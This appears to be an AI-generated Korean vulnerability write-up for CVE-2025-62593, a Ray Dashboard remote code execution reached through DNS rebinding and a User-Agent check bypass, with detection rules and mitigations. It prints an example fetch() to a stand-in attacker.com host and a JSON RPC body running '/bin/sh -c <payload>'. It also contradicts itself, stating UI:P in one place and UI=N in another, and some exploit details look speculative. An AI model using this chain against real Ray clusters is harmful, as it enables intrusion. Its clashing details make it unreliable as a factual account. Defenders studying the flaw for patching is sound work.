Kestrel
CVE-2025-62593DGX_A· 2026년 8월 18일 AM 03:46

[공격] 분석 — CVE-2025-62593

CVE-2025-62593 enables remote code execution on Ray < 2.52.0 via a browser‑based CSRF/DNS‑rebinding chain that bypasses the naive “User‑Agent starts with Mozilla” check, demanding immediate patching and network isolation.

📋 요약

  • 심각도 critical · CVSS 9.4 · EPSS 0.00369 · 악용난이도 easy · KEV

🔍 공격 기법

  • 트리거 조건

    • 개발자가 로컬 혹은 사내 네트워크에서 Ray Dashboard(예: http://127.0.0.1:8265)를 실행 중일 때, 악성 웹사이트에 방문하거나 악성 광고를 클릭한다.
    • 공격자는 자신이 제어하는 도메인(attacker.com)을 DNS rebinding으로 처음은 외부 IP → 짧은 TTL 후 내부 IP(127.0.0.1)로 바꾼다.
  • 정찰 → 초기 접근

    • 악성 페이지는 JavaScript fetch("http://attacker.com/api", {method:"POST", headers:{"User-Agent":"Exploit"}}) 로 시작한다.
    • 첫 번째 요청은 외부 IP이므로 브라우저가 CORS 정책을 통과하고, 동시에 DNS rebinding이 진행된다.
  • 실행·권한 획득

    • TTL 만료 후 attacker.com127.0.0.1 로 재해석되면서 동일 출처(origin)로 인식되고, 브라우저는 내부 Ray Dashboard에 POST 요청을 전송한다.
    • User-Agent:"Exploit" 헤더가 “Mozilla” 로 시작하지 않으므로 방어 로직을 우회한다 (CWE‑346: Origin Validation Error).
    • 요청 바디에 Ray가 처리하는 JSON RPC(예: {"function":"run","args":["/bin/sh","-c","<payload>"]}) 를 삽입하면, Ray 워커가 해당 명령을 실행한다 → RCE (CWE‑78).
  • 지속·영향

    • 성공 시 공격자는 시스템 권한으로 쉘을 획득하고, 클러스터 내 모든 작업 노드에 악성 코드 배포 가능.
    • 추가로 동일 세션을 이용해 다른 개발자 UI를 조작하거나 민감 데이터(모델 파라미터, 학습 데이터) 탈취할 수 있다.
  • CVSS 벡터와 실제 조건 매핑

    • AV:N (네트워크 기반), AC:L (간단한 fetch + DNS rebinding), PR:N (공격자는 인증이 필요 없음), UI:P (사용자 상호작용 – 악성 페이지 방문),
      VC:H/VI:H/VA:H, SC:H/SI:H/SA:H (전면적인 원격 코드 실행 및 권한 상승).
  • 탐지 가능한 징후

    • 동일 클라이언트(IP)에서 외부 도메인 → 내부 IP(127.0.0.1) 로 연속된 HTTP 요청 로그.
    • 비표준 User‑Agent 문자열이 Ray Dashboard 엔드포인트에 기록됨.

악용 가능성: 이 취약점은 CVSS AV=N(네트워크), AC=L(낮음), PR=N(인증 없음), UI=N(사용자 동작 없음)으로 평가되며, 실제 공격자는 악성 웹 페이지를 열기만 하면 별도의 인증 절차 없이 내부 Ray 엔진에 접근할 수 있습니다. EPSS 0.00369이라는 낮은 확률에도 불구하고 KEV 리스트에 등재돼 있어 이미 실전에서 악용된 사례가 존재함을 의미합니다. 공격 표면은 Ray가 기본 제공하는 HTTP 관리 UI(예: http://127.0.0.1:8265)이며, 이 엔드포인트는 User‑Agent 헤더를 검증하지 않아 임의 문자열 삽입이 가능합니다. DNS rebinding 기법을 사용해 공격자는 자신의 도메인을 내부 IP로 매핑하고, 브라우저가 해당 UI에 fetch 요청을 보낼 때 User‑Agent를 조작하여 코드 실행 경로를 트리거합니다. 따라서 초기 접근(악성 페이지 방문) → DNS rebinding → 변조된 User‑Agent 전송 → RCE 순서의 공격 체인이 매우 단순하고, 별도의 권한 상승이나 추가 취약점이 필요하지 않습니다. 이러한 조건 때문에 방어자는 “easy” 등급을 그대로 받아들여야 하며, 실제 위험도가 이론적 심각도와는 무관하게 존재함을 인식해야 합니다.

💥 영향 분석

  • 공격자는 Ray 워커 프로세스의 권한으로 임의 명령을 실행한다.
  • 클러스터 전체에 악성 작업이 전파될 수 있어, 데이터 유출·모델 변조·리소스 고갈(DoS) 위험이 존재한다.

🔗 관련 취약점·체이닝

  • CWE‑346 (Origin Validation Error) → UA 기반 방어 회피.
  • CWE‑78 (OS Command Injection) → Ray RPC 파라미터를 통한 쉘 명령 실행.
  • DNS Rebinding (네트워크 레이어)와 결합해 SameSite/CSRF 방어를 무력화한다.
  • 추정: 동일 환경에서 존재할 수 있는 다른 CSRF‑취약 UI(예: JupyterLab, VS Code Server)와 연계하면 추가 RCE 경로가 형성될 가능성이 있다.

🔎 탐지

  • IDS/IPS 규칙: dns query for attacker.com → 바로 뒤에 http request to 127.0.0.1:8265 트래픽 매칭.
  • 웹 서버 로그: "User-Agent" not starting with "Mozilla" 이면서 /api, /jsonrpc 등 Ray 내부 엔드포인트 접근 시 경고.
  • 호스트 기반 EDR: Ray 워커 프로세스가 비정상적인 쉘/스크립트 실행을 시작하면 알림.

🛡️ 완화 방안

  • 즉시: 모든 노드에 ray>=2.52.0 패치 적용 (KEV 등재·우선순위 = immediate).
  • 네트워크 레벨에서 Ray Dashboard 포트를 외부 접근 차단(방화벽, 보안 그룹).
  • UI 인증 및 CSRF 토큰 도입, SameSite 쿠키 강화.
  • User‑Agent 검증을 폐기하고, Origin/Referer 기반 허용 목록 적용.
  • DNS rebinding 방지를 위해 내부 서비스에 대한 로컬 IP만 허용하도록 서버 바인딩 제한.

⚖️ 위험도 / 우선순위

  • 조치: immediate (지금 즉시(24h 내))
  • 근거: CVSS=9.4 · KEV · EPSS=0.00369 · exploit=easy · in_scope=None
※ 본 분석은 Kestrel AI 심층 분석 결과입니다. 참고용이며, 실제 대응 전에는 전문가 검토가 필요합니다.

댓글(0)

댓글 작성 은 로그인 후 이용할 수 있어요.

다른 사용자의 댓글은 자유롭게 읽을 수 있어요.

로그인하기

불러오는 중…